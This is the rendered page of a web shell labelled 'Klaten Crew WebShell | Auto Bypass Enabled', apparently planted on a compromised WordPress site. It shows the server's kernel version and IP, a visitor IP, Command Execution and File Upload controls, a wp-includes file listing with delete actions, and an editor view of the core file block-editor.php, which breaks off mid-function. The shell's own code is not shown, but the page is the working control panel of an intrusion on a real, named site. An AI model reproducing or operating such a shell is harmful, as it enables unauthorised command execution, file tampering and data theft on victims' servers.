HanJsXploit Klaten Crew
Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47
System Info
HOME
home
ipifapor
prosalud.ipifap.org
wp-includes
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-30 11:26:59
-
ID3
Folder
-
0755
2024-04-02 23:41:07
IXR
Folder
-
0755
2026-02-11 19:23:04
PHPMailer
Folder
-
0755
2026-02-11 19:14:12
Requests
Folder
-
0755
2023-05-17 11:25:40
SimplePie
Folder
-
0755
2024-11-12 23:50:01
Text
Folder
-
0755
2024-11-12 23:49:39
abilities-api
Folder
-
0755
2025-12-02 23:28:52
ai-client
Folder
-
0755
2026-05-20 23:51:47
assets
Folder
-
0755
2026-05-20 23:52:25
block-bindings
Folder
-
0755
2026-02-11 19:12:24
block-patterns
Folder
-
0755
2026-05-20 23:51:54
block-supports
Folder
-
0755
2026-05-20 23:51:47
blocks
Folder
-
0755
2026-05-20 23:52:15
build
Folder
-
0755
2026-06-14 17:29:30
certificates
Folder
-
0755
2023-05-17 11:25:40
css
Folder
-
0755
2026-05-20 23:51:53
customize
Folder
-
0755
2026-02-13 01:26:12
fonts
Folder
-
0755
2024-04-02 23:40:40
html-api
Folder
-
0755
2026-02-11 19:22:42
images
Folder
-
0755
2026-05-20 23:51:58
interactivity-api
Folder
-
0755
2026-02-11 19:14:28
js
Folder
-
0755
2025-12-02 23:28:31
l10n
Folder
-
0755
2026-02-11 19:13:57
php-ai-client
Folder
-
0755
2026-05-20 23:52:07
php-compat
Folder
-
0755
2023-05-17 11:25:40
pomo
Folder
-
0755
2023-05-17 11:25:40
rest-api
Folder
-
0755
2026-02-11 19:18:21
sitemaps
Folder
-
0755
2023-05-17 11:25:40
sodium_compat
Folder
-
0755
2023-05-17 11:25:40
style-engine
Folder
-
0755
2023-05-17 11:25:40
theme-compat
Folder
-
0755
2026-03-04 00:14:20
widgets
Folder
-
0755
2026-02-11 19:10:31
abilities-api.php
File
23.8 KB
0644
2025-12-02 23:29:08
abilities.php
File
7.82 KB
0644
2026-05-20 23:52:08
admin-bar.php
File
38.39 KB
0644
2026-05-20 23:51:54
ai-client.php
File
2.49 KB
0644
2026-05-20 23:51:55
atomlib.php
File
11.9 KB
0644
2025-12-02 23:29:12
author-template.php
File
19.38 KB
0644
2026-05-20 23:51:46
block-bindings.php
File
7.35 KB
0644
2025-12-02 23:29:06
block-editor.php
File
28.05 KB
0644
2026-05-20 23:51:53
block-i18n.json
File
316 B
0644
2021-08-11 20:38:02
block-patterns.php
File
15.24 KB
0644
2026-05-20 23:52:03
block-template-utils.php
File
61.33 KB
0644
2026-05-20 23:52:06
block-template.php
File
17.83 KB
0644
2026-05-20 23:52:05
blocks.php
File
116.64 KB
0644
2026-05-20 23:52:08
bookmark-template.php
File
12.47 KB
0644
2025-04-15 23:48:16
bookmark.php
File
15.07 KB
0644
2024-07-17 09:51:25
cache-compat.php
File
10.76 KB
0644
2026-05-20 23:52:03
cache.php
File
13.17 KB
0644
2025-12-02 23:29:07
canonical.php
File
33.83 KB
0644
2025-12-02 23:29:06
capabilities.php
File
42.61 KB
0644
2026-05-20 23:52:16
category-template.php
File
55.65 KB
0644
2026-05-20 23:51:54
category.php
File
12.53 KB
0644
2026-05-20 23:51:55
class-IXR.php
File
2.55 KB
0644
2025-04-15 23:48:21
class-avif-info.php
File
29.3 KB
0644
2026-05-20 23:52:03
class-feed.php
File
539 B
0644
2024-11-12 23:49:43
class-http.php
File
367 B
0644
2022-06-17 22:50:14
class-json.php
File
42.65 KB
0644
2025-12-02 23:29:09
class-oembed.php
File
401 B
0644
2022-06-17 22:50:14
class-phpass.php
File
6.61 KB
0644
2024-11-12 23:49:43
class-phpmailer.php
File
664 B
0644
2020-07-22 00:28:02
class-pop3.php
File
20.63 KB
0644
2025-04-15 23:48:11
class-requests.php
File
2.18 KB
0644
2023-08-16 04:29:06
class-simplepie.php
File
453 B
0644
2024-11-12 23:49:41
class-smtp.php
File
457 B
0644
2021-01-27 00:15:58
class-snoopy.php
File
36.83 KB
0644
2023-02-04 00:05:20
class-walker-category-dropdown.php
File
2.41 KB
0644
2023-11-08 02:40:36
class-walker-category.php
File
8.28 KB
0644
2023-11-08 02:40:42
class-walker-comment.php
File
13.89 KB
0644
2024-07-17 09:51:26
class-walker-nav-menu.php
File
11.76 KB
0644
2025-04-15 23:48:11
class-walker-page-dropdown.php
File
2.65 KB
0644
2023-11-08 02:40:36
class-walker-page.php
File
7.43 KB
0644
2023-11-08 02:40:38
class-wp-admin-bar.php
File
17.58 KB
0644
2026-05-20 23:51:57
class-wp-ajax-response.php
File
5.14 KB
0644
2022-09-13 02:17:14
class-wp-application-passwords.php
File
16.7 KB
0644
2025-04-15 23:48:12
class-wp-block-bindings-registry.php
File
8.07 KB
0644
2026-05-20 23:51:48
class-wp-block-bindings-source.php
File
2.92 KB
0644
2024-11-12 23:49:12
class-wp-block-editor-context.php
File
1.32 KB
0644
2022-09-13 02:17:14
class-wp-block-list.php
File
4.6 KB
0644
2025-12-02 23:29:06
class-wp-block-metadata-registry.php
File
11.57 KB
0644
2026-05-20 23:51:58
class-wp-block-parser-block.php
File
2.5 KB
0644
2025-12-02 23:29:07
class-wp-block-parser-frame.php
File
1.95 KB
0644
2026-05-20 23:52:04
class-wp-block-parser.php
File
11.25 KB
0644
2026-05-20 23:51:16
class-wp-block-pattern-categories-registry.php
File
4.28 KB
0644
2026-05-20 23:51:54
class-wp-block-patterns-registry.php
File
10.07 KB
0644
2026-05-20 23:51:47
class-wp-block-processor.php
File
68.32 KB
0644
2026-02-09 15:56:17
class-wp-block-styles-registry.php
File
6.27 KB
0644
2026-05-20 23:51:54
class-wp-block-supports.php
File
6.4 KB
0644
2026-05-20 23:52:00
class-wp-block-template.php
File
1.99 KB
0644
2024-11-12 23:49:12
class-wp-block-templates-registry.php
File
6.91 KB
0644
2026-05-20 23:51:45
class-wp-block-type-registry.php
File
4.91 KB
0644
2025-12-02 23:29:08
class-wp-block-type.php
File
16.83 KB
0644
2026-05-20 23:52:03
class-wp-block.php
File
24.14 KB
0644
2026-05-20 23:51:45
class-wp-classic-to-block-menu-converter.php
File
3.93 KB
0644
2026-05-20 23:52:00
class-wp-comment-query.php
File
47.49 KB
0644
2026-05-20 23:52:08
class-wp-comment.php
File
9.15 KB
0644
2026-05-20 23:51:58
class-wp-connector-registry.php
File
14.07 KB
0644
2026-05-20 23:52:05
class-wp-customize-control.php
File
25.51 KB
0644
2025-12-02 23:28:51
class-wp-customize-manager.php
File
198.13 KB
0644
2026-05-20 23:51:55
class-wp-customize-nav-menus.php
File
56.61 KB
0644
2026-05-20 23:52:06
class-wp-customize-panel.php
File
10.46 KB
0644
2025-04-15 23:48:16
class-wp-customize-section.php
File
10.95 KB
0644
2024-11-12 23:49:40
class-wp-customize-setting.php
File
29.26 KB
0644
2026-05-20 23:52:03
class-wp-customize-widgets.php
File
70.89 KB
0644
2026-05-20 23:52:06
class-wp-date-query.php
File
35.13 KB
0644
2026-05-20 23:51:57
class-wp-dependencies.php
File
16.69 KB
0644
2026-05-20 23:52:03
class-wp-dependency.php
File
2.59 KB
0644
2026-05-20 23:52:04
class-wp-duotone.php
File
39.95 KB
0644
2026-05-20 23:51:59
class-wp-editor.php
File
70.54 KB
0644
2026-05-20 23:51:54
class-wp-embed.php
File
15.54 KB
0644
2026-05-20 23:51:53
class-wp-error.php
File
7.33 KB
0644
2023-02-22 03:09:20
class-wp-exception.php
File
253 B
0644
2024-11-12 23:49:39
class-wp-fatal-error-handler.php
File
7.96 KB
0644
2024-11-12 23:49:39
class-wp-feed-cache-transient.php
File
3.23 KB
0644
2025-12-02 23:29:02
class-wp-feed-cache.php
File
969 B
0644
2024-11-12 23:49:41
class-wp-hook.php
File
16.25 KB
0644
2026-05-20 23:52:00
class-wp-http-cookie.php
File
7.1 KB
0644
2026-05-20 23:52:07
class-wp-http-curl.php
File
12.95 KB
0644
2025-12-02 23:28:52
class-wp-http-encoding.php
File
6.53 KB
0644
2023-08-16 04:29:10
class-wp-http-ixr-client.php
File
3.43 KB
0644
2026-05-20 23:52:03
class-wp-http-proxy.php
File
5.84 KB
0644
2023-08-16 04:28:30
class-wp-http-requests-hooks.php
File
1.97 KB
0644
2022-12-16 08:02:18
class-wp-http-requests-response.php
File
4.14 KB
0644
2026-05-20 23:51:55
class-wp-http-response.php
File
2.91 KB
0644
2022-09-13 02:17:14
class-wp-http-streams.php
File
16.37 KB
0644
2026-05-20 23:51:46
class-wp-http.php
File
40.67 KB
0644
2026-05-20 23:51:58
class-wp-icons-registry.php
File
7.67 KB
0644
2026-05-20 23:52:03
class-wp-image-editor-gd.php
File
20.22 KB
0644
2025-12-02 23:28:53
class-wp-image-editor-imagick.php
File
36.11 KB
0644
2025-12-02 23:29:11
class-wp-image-editor.php
File
17.01 KB
0644
2026-05-20 23:51:59
class-wp-list-util.php
File
7.27 KB
0644
2023-11-08 02:40:11
class-wp-locale-switcher.php
File
6.62 KB
0644
2025-12-02 23:29:06
class-wp-locale.php
File
16.45 KB
0644
2026-05-20 23:51:57
class-wp-matchesmapregex.php
File
1.79 KB
0644
2024-04-02 23:40:52
class-wp-meta-query.php
File
29.79 KB
0644
2026-05-20 23:51:46
class-wp-metadata-lazyloader.php
File
6.67 KB
0644
2023-08-16 04:29:06
class-wp-navigation-fallback.php
File
8.98 KB
0644
2025-12-02 23:29:09
class-wp-network-query.php
File
19.25 KB
0644
2026-05-20 23:52:00
class-wp-network.php
File
12.01 KB
0644
2024-11-12 23:49:33
class-wp-object-cache.php
File
17.11 KB
0644
2025-12-02 23:29:02
class-wp-oembed-controller.php
File
6.74 KB
0644
2024-07-17 09:51:23
class-wp-oembed.php
File
30.86 KB
0644
2026-05-20 23:52:16
class-wp-paused-extensions-storage.php
File
4.95 KB
0644
2026-05-20 23:52:06
class-wp-phpmailer.php
File
4.25 KB
0644
2025-12-02 23:28:52
class-wp-plugin-dependencies.php
File
24.59 KB
0644
2026-05-20 23:52:09
class-wp-post-type.php
File
29.95 KB
0644
2026-05-20 23:52:04
class-wp-post.php
File
6.33 KB
0644
2026-05-20 23:52:03
class-wp-query.php
File
159.6 KB
0644
2026-07-17 19:09:37
class-wp-recovery-mode-cookie-service.php
File
6.72 KB
0644
2022-10-04 14:29:14
class-wp-recovery-mode-email-service.php
File
10.9 KB
0644
2026-05-20 23:51:46
class-wp-recovery-mode-key-service.php
File
4.8 KB
0644
2026-05-20 23:52:01
class-wp-recovery-mode-link-service.php
File
3.44 KB
0644
2026-05-20 23:51:54
class-wp-recovery-mode.php
File
11.18 KB
0644
2025-04-15 23:48:17
class-wp-rewrite.php
File
62.2 KB
0644
2026-05-20 23:52:06
class-wp-role.php
File
2.46 KB
0644
2023-11-08 02:40:36
class-wp-roles.php
File
9.1 KB
0644
2026-05-20 23:52:08
class-wp-script-modules.php
File
39.65 KB
0644
2026-05-20 23:51:48
class-wp-scripts.php
File
35.93 KB
0644
2026-05-20 23:51:59
class-wp-session-tokens.php
File
7.15 KB
0644
2025-04-15 23:48:16
class-wp-simplepie-file.php
File
3.47 KB
0644
2025-12-02 23:28:54
class-wp-simplepie-sanitize-kses.php
File
1.87 KB
0644
2025-04-15 23:48:16
class-wp-site-query.php
File
30.74 KB
0644
2026-05-20 23:52:05
class-wp-site.php
File
7.28 KB
0644
2026-05-20 23:51:59
class-wp-speculation-rules.php
File
7.38 KB
0644
2026-05-20 23:51:55
class-wp-styles.php
File
13.04 KB
0644
2026-05-20 23:51:56
class-wp-tax-query.php
File
19.12 KB
0644
2025-12-02 23:29:08
class-wp-taxonomy.php
File
18.12 KB
0644
2025-04-15 23:48:12
class-wp-term-query.php
File
39.8 KB
0644
2026-05-20 23:51:48
class-wp-term.php
File
5.14 KB
0644
2026-05-20 23:52:05
class-wp-text-diff-renderer-inline.php
File
979 B
0644
2024-04-02 23:40:53
class-wp-text-diff-renderer-table.php
File
18.49 KB
0644
2026-05-20 23:51:57
class-wp-textdomain-registry.php
File
10.24 KB
0644
2024-11-21 23:46:10
class-wp-theme-json-data.php
File
1.77 KB
0644
2024-07-17 09:51:27
class-wp-theme-json-resolver.php
File
34.86 KB
0644
2026-05-20 23:51:54
class-wp-theme-json-schema.php
File
7.19 KB
0644
2024-07-17 09:51:27
class-wp-theme-json.php
File
169.57 KB
0644
2026-05-20 23:52:04
class-wp-theme.php
File
64.22 KB
0644
2026-05-20 23:52:04
class-wp-token-map.php
File
27.95 KB
0644
2024-11-12 23:49:39
class-wp-url-pattern-prefixer.php
File
4.69 KB
0644
2025-04-15 23:48:20
class-wp-user-meta-session-tokens.php
File
2.88 KB
0644
2026-05-20 23:51:55
class-wp-user-query.php
File
43.07 KB
0644
2026-05-20 23:51:53
class-wp-user-request.php
File
2.25 KB
0644
2025-04-15 23:48:20
class-wp-user.php
File
22.48 KB
0644
2026-05-20 23:52:03
class-wp-walker.php
File
13.01 KB
0644
2024-09-10 23:53:14
class-wp-widget-factory.php
File
3.27 KB
0644
2022-09-13 02:17:14
class-wp-widget.php
File
17.99 KB
0644
2026-05-20 23:51:55
class-wp-xmlrpc-server.php
File
209.98 KB
0644
2026-05-20 23:52:00
class-wp.php
File
25.75 KB
0644
2026-05-20 23:51:46
class-wpdb.php
File
115.86 KB
0644
2026-05-20 23:51:48
class.wp-dependencies.php
File
373 B
0644
2022-09-21 00:47:12
class.wp-scripts.php
File
343 B
0644
2022-09-21 00:47:12
class.wp-styles.php
File
338 B
0644
2022-09-21 00:47:12
comment-template.php
File
100.79 KB
0644
2026-05-20 23:52:05
comment.php
File
130.94 KB
0644
2026-05-20 23:52:00
compat-utf8.php
File
19.1 KB
0644
2025-12-02 23:29:10
compat.php
File
15.69 KB
0644
2026-05-20 23:52:04
connectors.php
File
23.52 KB
0644
2026-05-20 23:51:59
cron.php
File
43.94 KB
0644
2026-05-20 23:51:55
date.php
File
400 B
0644
2022-06-17 22:50:14
default-constants.php
File
11.1 KB
0644
2024-11-12 23:49:37
default-filters.php
File
36.54 KB
0644
2026-05-20 23:51:46
default-widgets.php
File
2.24 KB
0644
2025-04-15 23:48:11
deprecated.php
File
189.43 KB
0644
2026-05-20 23:51:46
embed-template.php
File
338 B
0644
2022-06-17 22:50:14
embed.php
File
37.9 KB
0644
2026-07-09 23:55:09
error-protection.php
File
4 KB
0644
2026-05-20 23:52:00
error_log
File
265.26 KB
0644
2026-07-30 07:23:55
feed-atom-comments.php
File
5.38 KB
0644
2024-04-02 23:40:58
feed-atom.php
File
3.05 KB
0644
2025-04-15 23:48:17
feed-rdf.php
File
2.61 KB
0644
2020-01-29 11:15:18
feed-rss.php
File
1.16 KB
0644
2020-01-29 11:15:18
feed-rss2-comments.php
File
4.04 KB
0644
2024-04-02 23:40:20
feed-rss2.php
File
3.71 KB
0644
2020-01-29 11:15:18
feed.php
File
24.6 KB
0644
2026-02-09 15:56:19
fonts.php
File
9.56 KB
0644
2026-05-20 23:52:05
formatting.php
File
346.6 KB
0644
2026-07-09 23:55:08
functions.php
File
283.52 KB
0644
2026-05-20 23:51:46
functions.wp-scripts.php
File
20.01 KB
0644
2026-05-20 23:52:04
functions.wp-styles.php
File
8.45 KB
0644
2026-05-20 23:52:00
general-template.php
File
170.83 KB
0644
2026-05-20 23:52:05
global-styles-and-settings.php
File
20.29 KB
0644
2026-05-20 23:51:54
http.php
File
26.62 KB
0644
2026-05-20 23:52:05
https-detection.php
File
5.72 KB
0644
2025-04-15 23:48:11
https-migration.php
File
4.63 KB
0644
2023-08-16 04:29:08
kses.php
File
81.03 KB
0644
2026-07-09 23:55:09
l10n.php
File
69.74 KB
0644
2026-05-20 23:52:05
link-template.php
File
156.39 KB
0644
2026-05-20 23:51:55
load.php
File
55.15 KB
0644
2026-05-20 23:51:54
locale.php
File
162 B
0644
2019-10-09 03:49:04
media-template.php
File
61.79 KB
0644
2026-05-20 23:51:47
media.php
File
219.66 KB
0644
2026-07-09 23:54:54
meta.php
File
65.17 KB
0644
2026-05-20 23:51:16
ms-blogs.php
File
25.71 KB
0644
2026-05-20 23:52:08
ms-default-constants.php
File
4.81 KB
0644
2024-07-17 09:51:26
ms-default-filters.php
File
6.48 KB
0644
2023-02-24 11:53:20
ms-deprecated.php
File
21.24 KB
0644
2026-05-20 23:51:47
ms-files.php
File
2.79 KB
0644
2025-12-02 23:29:08
ms-functions.php
File
89.69 KB
0644
2025-12-02 23:29:08
ms-load.php
File
19.57 KB
0644
2026-05-20 23:52:00
ms-network.php
File
3.69 KB
0644
2023-08-16 04:28:30
ms-settings.php
File
4.11 KB
0644
2025-12-02 23:29:08
ms-site.php
File
40.75 KB
0644
2026-05-20 23:52:00
nav-menu-template.php
File
25.38 KB
0644
2025-04-15 23:48:20
nav-menu.php
File
43.23 KB
0644
2026-05-20 23:51:47
option.php
File
102.62 KB
0644
2026-05-20 23:51:55
pluggable-deprecated.php
File
6.18 KB
0644
2025-04-15 23:48:21
pluggable.php
File
124.57 KB
0644
2026-05-20 23:51:54
plugin.php
File
35.65 KB
0644
2025-12-02 23:28:53
post-formats.php
File
6.9 KB
0644
2026-05-20 23:52:03
post-template.php
File
67.01 KB
0644
2026-05-20 23:52:01
post-thumbnail-template.php
File
10.62 KB
0644
2025-04-15 23:48:17
post.php
File
289.58 KB
0644
2026-05-20 23:51:57
query.php
File
36.23 KB
0644
2025-12-02 23:29:04
registration-functions.php
File
200 B
0644
2020-11-12 21:47:08
registration.php
File
200 B
0644
2020-11-12 21:47:08
rest-api.php
File
98.84 KB
0644
2026-07-17 19:09:37
revision.php
File
29.99 KB
0644
2026-05-20 23:51:54
rewrite.php
File
19 KB
0644
2026-05-20 23:52:05
robots-template.php
File
5.06 KB
0644
2022-04-07 03:03:04
rss-functions.php
File
255 B
0644
2020-11-17 09:22:06
rss.php
File
22.66 KB
0644
2025-12-02 23:29:09
script-loader.php
File
159.3 KB
0644
2026-05-20 23:52:03
script-modules.php
File
11.66 KB
0644
2026-05-20 23:51:55
session.php
File
258 B
0644
2020-02-06 17:03:12
shortcodes.php
File
23.47 KB
0644
2026-05-20 23:52:00
sitemaps.php
File
3.16 KB
0644
2021-05-16 05:08:06
speculative-loading.php
File
8.4 KB
0644
2025-12-02 23:29:07
spl-autoload-compat.php
File
441 B
0644
2020-11-12 21:47:08
style-engine.php
File
7.39 KB
0644
2024-07-17 09:51:27
taxonomy.php
File
172.99 KB
0644
2026-05-20 23:52:05
template-canvas.php
File
544 B
0644
2023-11-08 02:40:36
template-loader.php
File
4.17 KB
0644
2026-03-11 00:25:12
template.php
File
35.96 KB
0644
2026-05-20 23:52:00
theme-i18n.json
File
1.85 KB
0644
2026-05-20 23:51:16
theme-previews.php
File
2.82 KB
0644
2026-05-20 23:51:46
theme-templates.php
File
3.96 KB
0644
2026-05-20 23:51:46
theme.json
File
8.83 KB
0644
2026-05-20 23:51:46
theme.php
File
131.48 KB
0644
2026-05-20 23:52:08
update.php
File
37.38 KB
0644
2026-05-20 23:51:48
user.php
File
174.63 KB
0644
2026-05-20 23:51:46
utf8.php
File
7.09 KB
0644
2025-12-02 23:29:10
vars.php
File
6.45 KB
0644
2026-05-20 23:51:54
version.php
File
1.08 KB
0644
2026-07-17 19:09:37
view-transitions.php
File
602 B
0644
2026-05-20 23:52:01
widgets.php
File
69.17 KB
0644
2026-05-20 23:51:48
wp-db.php
File
445 B
0644
2022-07-22 10:15:12
wp-diff.php
File
799 B
0644
2025-04-15 23:48:17
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Klaten Crew WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: block-editor.php
<?php /** * Block Editor API. * * @package WordPress * @subpackage Editor * @since 5.8.0 */ /** * Returns the list of default categories for block types. * * @since 5.8.0 * @since 6.3.0 Reusable Blocks renamed to Patterns. * * @return array[] Array of categories for block types. */ function get_default_block_categories() { return array( array( 'slug' => 'text', 'title' => _x( 'Text', 'block category' ), 'icon' => null, ), array( 'slug' => 'media', 'title' => _x( 'Media', 'block category' ), 'icon' => null, ), array( 'slug' => 'design', 'title' => _x( 'Design', 'block category' ), 'icon' => null, ), array( 'slug' => 'widgets', 'title' => _x( 'Widgets', 'block category' ), 'icon' => null, ), array( 'slug' => 'theme', 'title' => _x( 'Theme', 'block category' ), 'icon' => null, ), array( 'slug' => 'embed', 'title' => _x( 'Embeds', 'block category' ), 'icon' => null, ), array( 'slug' => 'reusable', 'title' => _x( 'Patterns', 'block category' ), 'icon' => null, ), ); } /** * Returns all the categories for block types that will be shown in the block editor. * * @since 5.0.0 * @since 5.8.0 It is possible to pass the block editor context as param. * * @param WP_Post|WP_Block_Editor_Context $post_or_block_editor_context The current post object or * the block editor context. * * @return array[] Array of categories for block types. */ function get_block_categories( $post_or_block_editor_context ) { $block_categories = get_default_block_categories(); $block_editor_context = $post_or_block_editor_context instanceof WP_Post ? new WP_Block_Editor_Context( array( 'post' => $post_or_block_editor_context, ) ) : $post_or_block_editor_context; /** * Filters the default array of categories for block types. * * @since 5.8.0 * * @param array[] $block_categories Array of categories for block types. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $block_categories = apply_filters( 'block_categories_all', $block_categories, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the default array of categories for block types. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_categories_all'} filter instead. * * @param array[] $block_categories Array of categories for block types. * @param WP_Post $post Post being loaded. */ $block_categories = apply_filters_deprecated( 'block_categories', array( $block_categories, $post ), '5.8.0', 'block_categories_all' ); } return $block_categories; } /** * Gets the list of allowed block types to use in the block editor. * * @since 5.8.0 * * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return bool|string[] Array of block type slugs, or boolean to enable/disable all. */ function get_allowed_block_types( $block_editor_context ) { $allowed_block_types = true; /** * Filters the allowed block types for all editor types. * * @since 5.8.0 * * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported). * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $allowed_block_types = apply_filters( 'allowed_block_types_all', $allowed_block_types, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the allowed block types for the editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'allowed_block_types_all'} filter instead. * * @param bool|string[] $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported) * @param WP_Post $post The post resource data. */ $allowed_block_types = apply_filters_deprecated( 'allowed_block_types', array( $allowed_block_types, $post ), '5.8.0', 'allowed_block_types_all' ); } return $allowed_block_types; } /** * Returns the default block editor settings. * * @since 5.8.0 * * @return array The default block editor settings. */ function get_default_block_editor_settings() { // Media settings. // wp_max_upload_size() can be expensive, so only call it when relevant for the current user. $max_upload_size = 0; if ( current_user_can( 'upload_files' ) ) { $max_upload_size = wp_max_upload_size(); if ( ! $max_upload_size ) { $max_upload_size = 0; } } /** This filter is documented in wp-admin/includes/media.php */ $image_size_names = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); $available_image_sizes = array(); foreach ( $image_size_names as $image_size_slug => $image_size_name ) { $available_image_sizes[] = array( 'slug' => $image_size_slug, 'name' => $image_size_name, ); } $default_size = get_option( 'image_default_size', 'large' ); $image_default_size = in_array( $default_size, array_keys( $image_size_names ), true ) ? $default_size : 'large'; $image_dimensions = array(); $all_sizes = wp_get_registered_image_subsizes(); foreach ( $available_image_sizes as $size ) { $key = $size['slug']; if ( isset( $all_sizes[ $key ] ) ) { $image_dimensions[ $key ] = $all_sizes[ $key ]; } } // These styles are used if the "no theme styles" options is triggered or on // themes without their own editor styles. $default_editor_styles_file = ABSPATH . WPINC . '/css/dist/block-editor/default-editor-styles.css'; static $default_editor_styles_file_contents = false; if ( ! $default_editor_styles_file_contents && file_exists( $default_editor_styles_file ) ) { $default_editor_styles_file_contents = file_get_contents( $default_editor_styles_file ); } $default_editor_styles = array(); if ( $default_editor_styles_file_contents ) { $default_editor_styles = array( array( 'css' => $default_editor_styles_file_contents ), ); } $editor_settings = array( 'alignWide' => get_theme_support( 'align-wide' ), 'allowedBlockTypes' => true, 'allowedMimeTypes' => get_allowed_mime_types(), 'defaultEditorStyles' => $default_editor_styles, 'blockCategories' => get_default_block_categories(), 'isRTL' => is_rtl(), 'imageDefaultSize' => $image_default_size, 'imageDimensions' => $image_dimensions, 'imageEditing' => true, 'imageSizes' => $available_image_sizes, 'maxUploadFileSize' => $max_upload_size, '__experimentalDashboardLink' => admin_url( '/' ), // The following flag is required to enable the new Gallery block format on the mobile apps in 5.9. '__unstableGalleryWithImageBlocks' => true, ); $theme_settings = get_classic_theme_supports_block_editor_settings(); foreach ( $theme_settings as $key => $value ) { $editor_settings[ $key ] = $value; } return $editor_settings; } /** * Returns the block editor settings needed to use the Legacy Widget block which * is not registered by default. * * @since 5.8.0 * * @return array Settings to be used with get_block_editor_settings(). */ function get_legacy_widget_block_editor_settings() { $editor_settings = array(); /** * Filters the list of widget-type IDs that should **not** be offered by the * Legacy Widget block. * * Returning an empty array will make all widgets available. * * @since 5.8.0 * * @param string[] $widgets An array of excluded widget-type IDs. */ $editor_settings['widgetTypesToHideFromLegacyWidgetBlock'] = apply_filters( 'widget_types_to_hide_from_legacy_widget_block', array( 'pages', 'calendar', 'archives', 'media_audio', 'media_image', 'media_gallery', 'media_video', 'search', 'text', 'categories', 'recent-posts', 'recent-comments', 'rss', 'tag_cloud', 'custom_html', 'block', ) ); return $editor_settings; } /** * Collect the block editor assets that need to be loaded into the editor's iframe. * * @since 6.0.0 * @access private * * @global WP_Styles $wp_styles The WP_Styles current instance. * @global WP_Scripts $wp_scripts The WP_Scripts current instance. * * @return array { * The block editor assets. * * @type string|false $styles String containing the HTML for styles. * @type string|false $scripts String containing the HTML for scripts. * } */ function _wp_get_iframed_editor_assets() { global $wp_styles, $wp_scripts; // Keep track of the styles and scripts instance to restore later. $current_wp_styles = $wp_styles; $current_wp_scripts = $wp_scripts; // Create new instances to collect the assets. $wp_styles = new WP_Styles(); $wp_scripts = new WP_Scripts(); /* * Register all currently registered styles and scripts. The actions that * follow enqueue assets, but don't necessarily register them. */ $wp_styles->registered = $current_wp_styles->registered; $wp_scripts->registered = $current_wp_scripts->registered; /* * We generally do not need reset styles for the iframed editor. * However, if it's a classic theme, margins will be added to every block, * which is reset specifically for list items, so classic themes rely on * these reset styles. */ $wp_styles->done = wp_theme_has_theme_json() ? array( 'wp-reset-editor-styles' ) : array(); wp_enqueue_script( 'wp-polyfill' ); // Enqueue the `editorStyle` handles for all core block, and dependencies. wp_enqueue_style( 'wp-edit-blocks' ); if ( current_theme_supports( 'wp-block-styles' ) ) { wp_enqueue_style( 'wp-block-library-theme' ); } /* * We don't want to load EDITOR scripts in the iframe, only enqueue * front-end assets for the content. */ add_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' ); /** This action is documented in wp-includes/script-loader.php */ do_action( 'enqueue_block_assets' ); remove_filter( 'should_load_block_editor_scripts_and_styles', '__return_false' ); $block_registry = WP_Block_Type_Registry::get_instance(); /* * Additionally, do enqueue `editorStyle` assets for all blocks, which * contains editor-only styling for blocks (editor content). */ foreach ( $block_registry->get_all_registered() as $block_type ) { if ( isset( $block_type->editor_style_handles ) && is_array( $block_type->editor_style_handles ) ) { foreach ( $block_type->editor_style_handles as $style_handle ) { wp_enqueue_style( $style_handle ); } } } /** * Remove the deprecated `print_emoji_styles` handler. * It avoids breaking style generation with a deprecation message. */ $has_emoji_styles = has_action( 'wp_print_styles', 'print_emoji_styles' ); if ( $has_emoji_styles ) { remove_action( 'wp_print_styles', 'print_emoji_styles' ); } ob_start(); wp_print_styles(); wp_print_font_faces(); wp_print_font_faces_from_style_variations(); $styles = ob_get_clean(); if ( $has_emoji_styles ) { add_action( 'wp_print_styles', 'print_emoji_styles' ); } ob_start(); wp_print_head_scripts(); wp_print_footer_scripts(); $scripts = ob_get_clean(); // Restore the original instances. $wp_styles = $current_wp_styles; $wp_scripts = $current_wp_scripts; return array( 'styles' => $styles, 'scripts' => $scripts, ); } /** * Finds the first occurrence of a specific block in an array of blocks. * * @since 6.3.0 * * @param array $blocks Array of blocks. * @param string $block_name Name of the block to find. * @return array Found block, or empty array if none found. */ function wp_get_first_block( $blocks, $block_name ) { foreach ( $blocks as $block ) { if ( $block_name === $block['blockName'] ) { return $block; } if ( ! empty( $block['innerBlocks'] ) ) { $found_block = wp_get_first_block( $block['innerBlocks'], $block_name ); if ( ! empty( $found_block ) ) { return $found_block; } } } return array(); } /** * Retrieves Post Content block attributes from the current post template. * * @since 6.3.0 * @since 6.4.0 Return null if there is no post content block. * @access private * * @global int $post_ID * * @return array|null Post Content block attributes array or null if Post Content block doesn't exist. */ function wp_get_post_content_block_attributes() { global $post_ID; $is_block_theme = wp_is_block_theme(); if ( ! $is_block_theme || ! $post_ID ) { return null; } $template_slug = get_page_template_slug( $post_ID ); if ( ! $template_slug ) { $post_slug = 'singular'; $page_slug = 'singular'; $template_types = get_block_templates(); foreach ( $template_types as $template_type ) { if ( 'page' === $template_type->slug ) { $page_slug = 'page'; } if ( 'single' === $template_type->slug ) { $post_slug = 'single'; } } $what_post_type = get_post_type( $post_ID ); switch ( $what_post_type ) { case 'page': $template_slug = $page_slug; break; default: $template_slug = $post_slug; break; } } $current_template = get_block_templates( array( 